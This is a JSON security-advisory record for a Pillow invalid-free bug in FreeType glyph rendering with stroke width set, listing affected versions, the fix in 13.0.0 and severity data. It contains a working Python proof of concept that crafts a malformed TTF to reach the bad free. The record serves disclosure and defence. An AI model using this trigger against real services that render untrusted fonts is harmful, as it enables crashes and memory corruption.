{"schema":"threatline.record/2","record":{"id":"CVE-2026-112893","aliases":["GHSA-j4m9-6w36-pw47"],"summary":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","details":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","categories":["Libraries & packages"],"product":"pillow","vendor":"python-pillow","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","source_modified_at":"2026-10-21T20:06:37Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"range":">= 10.0.0, < 13.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112893","source_modified_at":"2026-10-19T21:53:49.979Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Pillow","vendor":"python-pillow","versions":[{"version":">= 10.0.0, < 13.0.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47","source_modified_at":"2026-10-21T20:15:04.205713953Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"pillow","purl":"pkg:pypi/pillow"},"ranges":[{"events":[{"introduced":"10.0.0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","source_modified_at":"2026-10-21T20:06:37Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"version":"13.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47","source_modified_at":"2026-10-21T20:15:04.205713953Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"pillow","purl":"pkg:pypi/pillow"},"version":"13.0.0"}],"cvss":8.2,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00291,"percentile":0.20606,"score_date":"2026-10-23"},"published_at":"2026-10-19T21:53:49.979Z","modified_at":"2026-10-21T20:15:04.205713953Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T20:06:37Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-112893","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-19T21:53:49.979Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T20:15:04.205713953Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112893","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T20:15:04.205713953Z","content_hash":"410f90d3cdaf0d12cc26e298609a5a0fb2701eeec45edf7a3f772e42e26c529b"}}
